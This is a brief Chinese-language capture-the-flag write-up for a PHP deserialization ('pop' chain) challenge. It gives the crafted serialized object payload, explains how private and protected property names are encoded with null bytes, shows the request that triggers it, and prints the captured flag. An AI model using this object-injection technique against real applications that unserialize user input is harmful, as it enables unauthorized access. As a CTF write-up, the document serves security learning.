pop 反序列化

题目网址:

http://srpopty.cn:8081/PHP/serialize.php

 

看到声明了Foo1,重新构造Foo1,里面调用Flag类

得到构造的串:

O:4:"Foo1":1:{s:9:"%00Foo1%00obj";O:4:"Flag":0:{}}

注意:obj是私有变量,前面加类名,并且类名前后加上%00(保护类型的前加上%00*%00)

 增加/?a=O:4:"Foo1":1:{s:9:"%00Foo1%00obj";O:4:"Flag":0:{}}

得到 flag{Be_cAr3fu1_uNseri4li2e}

原文地址:https://www.cnblogs.com/gudygudy/p/8626341.html